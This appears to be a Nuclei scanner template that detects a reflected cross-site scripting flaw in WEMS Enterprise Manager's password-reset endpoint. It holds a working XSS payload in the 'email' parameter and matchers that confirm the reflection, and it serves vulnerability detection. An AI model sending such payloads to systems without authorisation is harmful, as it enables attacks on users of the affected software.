id: wems-manager-xss info: name: WEMS Enterprise Manager - Cross-Site Scripting author: pikpikcu severity: medium description: A vulnerability in WEMS Enterprise Manager allows remote attackers to inject arbitrary Javascript into the response return by the server by sending it to the '/guest/users/forgotten' endpoint and the 'email' parameter. reference: - https://packetstormsecurity.com/files/155777/WEMS-Enterprise-Manager-2.58-Cross-Site-Scripting.html tags: xss,packetstorm requests: - method: GET path: - '{{BaseURL}}/guest/users/forgotten?email=%22%3E%3Cscript%3Econfirm(document.domain)%3C/script%3E' matchers-condition: and matchers: - type: status status: - 200 - type: word words: - '">' part: body - type: word words: - "text/html" part: header